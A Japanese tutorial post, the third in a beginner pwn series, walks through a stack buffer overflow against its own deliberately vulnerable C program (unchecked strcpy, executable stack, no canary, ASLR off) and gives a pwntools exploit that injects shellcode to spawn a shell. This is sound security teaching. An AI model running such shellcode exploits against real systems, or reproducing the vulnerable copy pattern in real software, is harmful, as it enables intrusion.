pwn基礎 バッファオーバーフロー3
前回の続き。
今度は関数を呼び出すのではなく自分で実行するべき命令を用意し、バッファオーバーフローを利用してその命令を実行する。 使ってるコードはココ。
crackme
攻撃対象のコードはこれ。
// sudo sysctl -w kernel.randomize_va_space=0 #include <stdio.h> #include <string.h> void vuln_func(char** argv) { char buf[100] = {}; /* set all bytes to zero */ printf("buf = %p\n", buf); strcpy(buf, argv[1]); puts(buf); return; } int main(int argc, char *argv[]) { vuln_func(argv); return 0; }
コンパイルはgcc -m32 -z execstack -fno-stack-protector -o overflow overflow.c
実行時に渡される引数をバッファにコピーして表示するプログラム。 解析する手間を省くため、バッファのアドレスを表示するようにしている。 ASLRなし、スタック実行可能なイージーモードでやる。
知っておくべきこと
マシンコード
マシンコードとは、コンピュータに命令することができる、あるいはするためのバイト列。 この世に存在する全てのプログラムは最終的にマシンコードとしてプロセッサによって実行される(はず)。 0と1の世界、コンパイルした実行ファイルの中身。
アーキテクチャによってどんなマシンコードなのかは違うので、x64をARMで実行したりは基本的にはできない。 とりあえずコンピュータによって直接実行されるのはマシンコードであるということを知っていれば十分だと思う。
pwnでプログラムを解析するときはマシンコードを逆アセンブルして、アセンブリコードを読むことになる。 アセンブリコードはマシンコードとおよそ一対一で対応している、人間の読める言葉で表現された命令だといえる。 pwnでは大抵はx86かx64のプログラムが降ってくるので、とりあえずx86系について分かるようになれば大半の問題に取り組むことができるようになる。 大量にある命令を全部知っておく必要はなく、頻出のいくつかの命令だけを憶えておいて、知らない命令はその都度検索するぐらいで十分である。 どちらかというと慣れの方が大事な気がする。 逆アセンブルには、radare2とかIDAとかobjdumpとかのツールが有名。 IDAは金払わないとx64の解析ができないけど、この中で一番性能がいいんじゃないかな。
shellcode
これまでバッファオーバーフローでeipを書き換えたりメモリ上の値を変えたりしてきた。 今回はマシンコードの命令を直接送りこみ、それを実行させて、シェルを起動する。 このようなシェルを起動するようなデータ列のことをシェルコードとよぶ。 実際は、脆弱性を突いて何か処理をさせる目的で送りこむデータ列のことを(シェルを起動させなくても)シェルコードといったりする。
exploit
exploitはこんな感じ。
# no ASLR # no canary from pwn import * context(arch='i386', os='linux') buf_addr = 0xffffcb9c # buf addr offset = 112 shellcode = asm(shellcraft.sh()) payload = shellcode payload += "A" * (offset - len(shellcode)) payload += p32(buf_addr) print(payload)
ここではシェルコードを書くことよりも実際に送信したデータを実行できることが分かればいいかなと思って、pwntoolsに収録されてるシェルを起動するシェルコードをそのまま使わせてもらった。
shellcraft.sh()'は文字列なので、どのような命令なのか知りたければ出力すれば見れる。
asm()`でアセンブルして、文字列の先頭に配置している。
リターンアドレスを書き換えるオフセットは前回の要領で、バッファのアドレスは一度実行してみて調べよう。
コマンドライン引数はスタックの最初の方で積まれるため、引数として渡す文字列の長さによって変わるので注意。
これでシェルを起動できる。